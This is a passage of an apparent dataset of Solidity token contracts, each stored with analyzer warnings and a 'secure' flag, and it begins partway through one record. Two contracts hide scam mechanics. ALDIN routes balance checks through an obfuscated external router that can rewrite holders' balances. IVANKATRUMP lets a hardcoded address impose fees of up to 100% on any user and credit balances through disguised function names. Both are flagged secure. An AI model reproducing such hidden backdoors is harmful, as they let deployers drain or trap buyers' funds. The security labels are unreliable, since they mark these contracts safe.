amount.sub(swapRate);\n }\n}", "file_name": "solidity_code_3992.sol", "secure": 0, "size_bytes": 12264 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract ALDIN is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 781292e): ALDIN._totalSupply should be constant \n\t// Recommendation for 781292e: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 2100000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2aca987): ALDIN._name should be constant \n\t// Recommendation for 2aca987: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Alaaddin.ai\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a026ea2): ALDIN._symbol should be constant \n\t// Recommendation for a026ea2: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"ALDIN\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 47d18ea): ALDIN.Router2Instance should be immutable \n\t// Recommendation for 47d18ea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: fb42313): ALDIN.bb should be constant \n\t// Recommendation for fb42313: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}", "file_name": "solidity_code_3993.sol", "secure": 1, "size_bytes": 6273 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract HSI6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 283a7c1): HSI6900._taxWallet should be immutable \n\t// Recommendation for 283a7c1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f6403d6): HSI6900._initialBuyTax should be constant \n\t// Recommendation for f6403d6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: dea02b8): HSI6900._initialSellTax should be constant \n\t// Recommendation for dea02b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61c34e9): HSI6900._finalBuyTax should be constant \n\t// Recommendation for 61c34e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2579d52): HSI6900._finalSellTax should be constant \n\t// Recommendation for 2579d52: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d557807): HSI6900._reduceBuyTaxAt should be constant \n\t// Recommendation for d557807: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: c3d8893): HSI6900._reduceSellTaxAt should be constant \n\t// Recommendation for c3d8893: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f176f7): HSI6900._preventSwapBefore should be constant \n\t// Recommendation for 7f176f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Hang Seng Index\";\n\n string private constant _symbol = unicode\"HSI 6900\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e480514): HSI6900._taxSwapThreshold should be constant \n\t// Recommendation for e480514: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ccdd9c): HSI6900._maxTaxSwap should be constant \n\t// Recommendation for 7ccdd9c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f46339f): HSI6900.uniswapV2Router should be immutable \n\t// Recommendation for f46339f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 43d30af): HSI6900.uniswapV2Pair should be immutable \n\t// Recommendation for 43d30af: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: a409d6b): HSI6900.sellsPerBlock should be constant \n\t// Recommendation for a409d6b: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52c9a0c): HSI6900.buysFirstBlock should be constant \n\t// Recommendation for 52c9a0c: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 30;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9dcd8ed): HSI6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9dcd8ed: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5159903): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5159903: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: edaa086): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for edaa086: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5159903\n\t\t// reentrancy-benign | ID: edaa086\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5159903\n\t\t// reentrancy-benign | ID: edaa086\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 88b5555): HSI6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 88b5555: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: edaa086\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5159903\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d394033): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d394033: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 8a040cf): HSI6900._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 8a040cf: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5af35ed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5af35ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ea9989b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ea9989b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 8a040cf\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: d394033\n\t\t\t\t// reentrancy-eth | ID: 5af35ed\n\t\t\t\t// reentrancy-eth | ID: ea9989b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d394033\n\t\t\t\t\t// reentrancy-eth | ID: 5af35ed\n\t\t\t\t\t// reentrancy-eth | ID: ea9989b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ea9989b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ea9989b\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d394033\n\t\t\t\t// reentrancy-eth | ID: 5af35ed\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d394033\n\t\t\t\t\t// reentrancy-eth | ID: 5af35ed\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5af35ed\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d394033\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5af35ed\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5af35ed\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d394033\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5159903\n\t\t// reentrancy-events | ID: d394033\n\t\t// reentrancy-benign | ID: edaa086\n\t\t// reentrancy-eth | ID: 5af35ed\n\t\t// reentrancy-eth | ID: ea9989b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7f82e4d): HSI6900.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7f82e4d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5159903\n\t\t// reentrancy-events | ID: d394033\n\t\t// reentrancy-eth | ID: 5af35ed\n\t\t// reentrancy-eth | ID: ea9989b\n\t\t// arbitrary-send-eth | ID: 7f82e4d\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d3584a6): HSI6900.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for d3584a6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint256 _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: d3584a6\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ec009ee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ec009ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d308494): HSI6900.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d308494: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d136321): HSI6900.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d136321: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 45bd580): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 45bd580: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: ec009ee\n\t\t// unused-return | ID: d136321\n\t\t// reentrancy-eth | ID: 45bd580\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ec009ee\n\t\t// unused-return | ID: d308494\n\t\t// reentrancy-eth | ID: 45bd580\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: ec009ee\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 45bd580\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: ec009ee\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_3994.sol", "secure": 0, "size_bytes": 20228 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PixelMAGA is ERC20, Ownable {\n constructor() ERC20(\"Pixel MAGA \", \"PAGA\") {\n _mint(msg.sender, 10000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_3995.sol", "secure": 1, "size_bytes": 357 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Apu is ERC20, Ownable {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 86eaacc): Apu.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 86eaacc: Rename the local variables that shadow another component.\n constructor() ERC20(\"Apu\", \"APU\") Ownable(msg.sender) {\n uint256 totalSupply = 990000000000 * 10 ** decimals();\n\n _mint(msg.sender, totalSupply);\n }\n}", "file_name": "solidity_code_3996.sol", "secure": 0, "size_bytes": 675 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract IVANKATRUMP is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0c76069): IVANKATRUMP._decimals should be immutable \n\t// Recommendation for 0c76069: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 48e44df): IVANKATRUMP._totalSupply should be immutable \n\t// Recommendation for 48e44df: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: db7d7e3): IVANKATRUMP._marketmonkddress should be immutable \n\t// Recommendation for db7d7e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketmonkddress;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketmonkddress = 0x8c5fdd2fF5244B550af99140262f658059136DBf;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Appruve(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketmonkddress;\n }\n\n function liqblockchain(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_3997.sol", "secure": 1, "size_bytes": 5379 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\" as ERC20Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AndAgain2 is ERC20, ERC20Pausable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"AndAgain2\", \"AA25\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Pausable) {\n super._update(from, to, value);\n }\n}", "file_name": "solidity_code_3998.sol", "secure": 1, "size_bytes": 847 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: f181c23): Contract locking ether found Contract UnanimousDeclarationofIndependence has payable functions UnanimousDeclarationofIndependence.receive() But does not have a function to withdraw the ether\n// Recommendation for f181c23: Remove the 'payable' attribute or add a withdraw function.\ncontract UnanimousDeclarationofIndependence is ERC20, Ownable {\n constructor()\n ERC20(unicode\"Unanimous Declaration of Independence\", unicode\"U.S.A\")\n {\n _mint(owner(), 1_000_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: f181c23): Contract locking ether found Contract UnanimousDeclarationofIndependence has payable functions UnanimousDeclarationofIndependence.receive() But does not have a function to withdraw the ether\n\t// Recommendation for f181c23: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_3999.sol", "secure": 0, "size_bytes": 1183 }
